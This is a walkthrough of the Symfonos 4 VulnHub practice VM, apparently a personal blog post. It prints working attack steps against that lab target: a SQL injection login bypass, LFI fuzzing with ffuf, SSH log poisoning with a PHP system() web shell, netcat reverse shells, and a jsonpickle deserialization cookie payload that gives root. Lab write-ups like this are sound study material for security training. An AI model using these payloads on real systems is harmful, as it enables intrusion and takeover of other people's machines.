https://unsplash.com/photos/RTtv7aT97dg

SYMFONOS 4 Walkthrough — Lets FFuF Dat LFI for Fuzz Sake — VulnHub — OSCP Practice

Symfonos 4 is a vulnerable VM from Symfonos series that listed in NetSecFocus doc as an OSCP like VM, I try to have a real world approach to find the LFI by fuzzing it with ffuf to get the foothold and then escalate to root with exploiting python jsonpickle.

Preparation

  1. Download Symfonos 4 from VulnHub and bootup in Virtualbox, it has problem with vmware.
nmap -sn 192.168.1.0/24

In this case my IP is 192.168.1.136

Tools

  • nmap

Topics

  • SQL Injection

Enumeration

# nmap -p- -sC -sV -T4 -v -o tcp.nmap 192.168.1.136
Nmap scan report for symfonos4.wlan (192.168.1.136)
Host is up (0.0018s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 f9:c1:73:95:a4:17:df:f6:ed:5c:8e:8a:c8:05:f9:8f (RSA)
| 256 be:c1:fd:f1:33:64:39:9a:68:35:64:f9:bd:27:ec:01 (ECDSA)
|_ 256 66:f7:6a:e8:ed:d5:1d:2d:36:32:64:39:38:4f:9c:8a (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Port 22 is open so we can use it to ssh when it comes to it!

It only has a picture, moving to gobuster

gobuster dir -u http://192.168.1.136/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1 -z -k -l -x "txt,html,php" -o gobuster

so it found the /gods log files with some text adn also /atlantis.php that is a login page, I also ran all the other found directories with gobuster but nothing extra. so lets continue with our login page.

First thing I do when facing a login page is testing admin:admin and if failed adding testing the following, either on username or password

admin' -- -

In this case sql injection is pretty easy and we are in with the above username, the page is a god selector that shows those log files we found under /gods

After selecting a god the ?file=hades in the url screaming for LFI so tried many different standard path starting with /etc/passwd to confirm if we are having LFI and no luck at this point decided to fuzz with ffuf, cause why not!

To send packets to the authenticated /sea.php first need to grab the PHPSESSIONID either by insjecting the page and the Storage tab or intercepting with burp!

There are some LFI lists offered by SecLists that already is on Kali linux under

/usr/share/seclists/Fuzzing/LFI

keep in mind these lists already have some traversal strings for some files for instance ../../../../ for different deepness for different files but its not all the combination to many deepness for all offerent file paths in the list, so I ran each list with different deepness of file traversal (up to 10) on ffuf!

By running the ffuf the first time its visible that normal page has 56 words so I filtered the them with -fw 56 and on the ../../../../FUZZ fourth traversal string using LFI-Jhaddix.txt list finaly found /var/log/auth that “Including” much more data than 56 words!

ffuf -b 'PHPSESSID=p8kcoc7avjam3v9i4sovt62gfa' -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://192.168.1.136/sea.php\?file\=../../../../FUZZ -fw 56

So passing the final path to burp repeater and looking at the logs related to ssh logins, thats sweet

confirmed if it logs new logins by trying to login with which it does!

ssh hello@@192.168.1.136

So its php application and theoretically if we replace the username (hello) with a php shell and try to login it will get into the log file and when we load the log file through our sea.php if the system() function for php is available it will process the php code that loaded from logs, gotta try to confirm!

ssh '<?php system($_GET['cmd']); ?>'@192.168.1.136/sea.php?file=../../../../var/log/auth&cmd=ls

Got the list returned, now we have a remote code execution (RCE) by ssh log poisoning using the LFI vulnerability :)

Next is to arm our payload to give us a remote shell, by passing which+nc to the cmd we can confirm if nc is available then forming the payload and running nc -lvp 4848 on our system to listen for the shell then hit the repeater send!

/usr/bin/nc 192.168.1.106 4848 -e /bin/sh/sea.php?file=../../../../var/log/auth&cmd=/usr/bin/nc+192.168.1.106+4848+-e+/bin/sh

Got the www-data terminal next step would be runnign lse.sh to enumerate which gave us a few juicy things

  • A python app is running locally on port 8080 with gunicorn

So next steps would be to check out the source code of applicatoin and also forward 8080 port to our own machine to be able to see the running application.

For port forward I am using socat since its available

socat TCP-LISTEN:8282,fork TCP:127.0.0.1:8080 &

Also of course lets take a look at the source code its the ultimate juicy thing to look at!

The only thing that looking back at us is that decode and encode (serialization) of the cookie by jsonpickle with encode and decode it with base64, so lets look back at it!

Capturing the cookie with burp and lets decode it

There is an applicatoin related object in the cookie that get passed back to the applicaton to be processed (serialize/deserialize) not in a secure way by jsonpickle, if we pass an evil python code it can be executed and give us a shell of the user its been executed with, in this case root.

Read more about jsonpickle and serialization attacks and how to handle python pickles securely in following links!

https://book.hacktricks.xyz/pentesting-web/deserializationhttps://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.htmlhttps://www.synopsys.com/blogs/software-security/python-pickling/

More googling gives us a demonstration of how to exploit jsonpickle

https://versprite.com/blog/application-security/into-the-jar-jsonpickle-exploitation/

So lets gather our knowledge together and form a cookie payload in python that gives us a reverse shell!

The cookie we have

{"py/object": "app.User", "username": "Poseidon"}

Using python reduce() function pass the os.system and nc reverse shell as argument in the json cookie.

{"py/object":"__main__.Shell", "py/reduce":[{"py/function":"os.system"},["/usr/bin/nc -e /bin/sh 192.168.1.106 4949"]], "username": "Poseidon"}

Finaly encoding the cookie with base64 and pass it to the application with burp repeater while our nc listers is open on port 4949 and seeing the root shell popin!

Of course you can see the flag in root home directory!

Post Exploitation

After gaining ultimate power of root I started messing around with gunicorn to see how it works!

Conclusions

Symfonos 4 is a good opportunity to dig out and learn a better way to find LFI by utilizing the fuzzing techniques and tools.

In the real world scenarios with all the hundreds of pages and application that a pentester is facing trying to guess obvious lfi paths is not so efficient!

I hope you enjoyed hacking with me while looking at the sky!